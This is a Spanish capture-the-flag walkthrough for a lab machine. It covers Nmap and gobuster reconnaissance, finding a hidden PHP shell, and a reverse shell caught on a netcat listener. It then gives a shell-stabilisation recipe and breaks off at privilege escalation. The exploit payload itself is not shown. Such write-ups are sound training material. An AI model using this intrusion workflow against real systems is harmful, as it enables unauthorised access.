Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-16 11:14 EST
Nmap scan report for 172.17.0.2
Host is up (0.000034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0d:09:9d:0f:dc:43:54:cd:39:a9:e2:d6:81:74:40:e8 (RSA)
| 256 09:d0:f6:52:00:3f:21:51:19:b1:c6:7a:f4:ff:21:01 (ECDSA)
|_ 256 19:e0:b3:72:bd:e9:1e:8d:4c:c4:fd:1f:da:3f:a5:cf (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Walking Dead - CTF
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds
Si vamos a la pagina web e inspeccionamos el codigo, vemos lo siguiente bastante interesante:
Vemos que hay una carpeta llamada hidden junto con un archivo oculto que parece ser una shell en PHP, si nos metemos a dicho archivo veremos todo en blanco, lo que quiere decir que todo esta en PHP y no hay nada que a nivel usuario se pueda ver.
Si realizamos un poco de fuzzing encontramos lo siguiente:
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100
Vemos varias cosas interesantes, si vamos al /backup.txt veremos el siguiente texto:
Error 403: Forbidden. Directory listing is disabled.
Que no nos dice mucho, pero si recordamos tenemos una extension .php en el archivo .shell.php por lo que vamos a probar a ver si tuviera algun parametro vulnerable en el que se pueda hacer injeccion de codigo:
Enviamos esto y si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 34630
bash: cannot set terminal process group (23): Inappropriate ioctl for device
bash: no job control in this shell
www-data@1d3cc124941a:/var/www/html/hidden$ whoami
whoami
www-data
Por lo que vemos seremos el usuario www-data, tendremos que sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate Privileges
Si listamos los permisos SUID que tenemos veremos lo siguiente: